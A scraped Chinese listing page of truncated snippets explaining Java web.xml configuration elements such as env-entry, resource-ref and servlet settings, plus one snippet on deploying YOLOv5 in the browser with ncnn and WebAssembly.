    最后,`&lt;resource-ref&gt;`和`&lt;env-entry&gt;`元素可用于通过JNDI查找和配置应用资源,如数据源或JMS队列。 `web.xml`配置文件是Java Web应用的基础配置中心,它确保了应用的正常运行和高效管理。理解并熟练运用`web.xml`...

    java web项目 web.xml配置详解

    18. `&lt;env-entry&gt;`:环境入口,用于传递系统环境变量。 三、关键配置详解 1. Servlet配置: - `&lt;servlet&gt;`:定义Servlet,如`&lt;servlet-name&gt;`指定Servlet名称,`&lt;servlet-class&gt;`指定Servlet的全限定类名。 - `...

    web.xml 详细解析四合一.pdf

    - **resource-env-ref** 和 **resource-ref**: 用于声明和引用 J2EE 连接资源,如数据库连接池。 - **security-constraint** 和 **login-config**: 配置安全约束和登录机制,保护 Web 资源。 #### 4. **元素的可...

    web.xml中标签详解

    `&lt;env-entry&gt;` 元素用于声明 Web 应用程序的环境项。 * `&lt;description&gt;` 元素:用于声明描述信息。 * `&lt;env-entry-name&gt;` 元素:用于指定一个相对于 java:comp/env 环境 JNDI 名。 * `&lt;env-entry-type&gt;` 元素:用于...

    XML配置详解

    - **`&lt;env-entry&gt;`**:声明Web应用的环境项,例如JNDI条目等。 - **示例**: ```xml &lt;security-role&gt; &lt;role-name&gt;admin&lt;/role-name&gt; &lt;/security-role&gt; &lt;env-entry&gt; &lt;env-entry-name&gt;myDB&lt;/env-entry-name&gt; ...

    使用 ncnn 和 webassembly 在 Web 浏览器中部署 YOLOv5.zip

    ncnn-webassembly-yolov5打开https://nihui.github.io/ncnn-webassembly-yolov5并享受构建和...git clone https://github.com/nihui/ncnn-webassembly-yolov5.gitcd ncnn-webassembly-yolov5安装 emscriptengit clone ...

Global site tag (gtag.js) - Google Analytics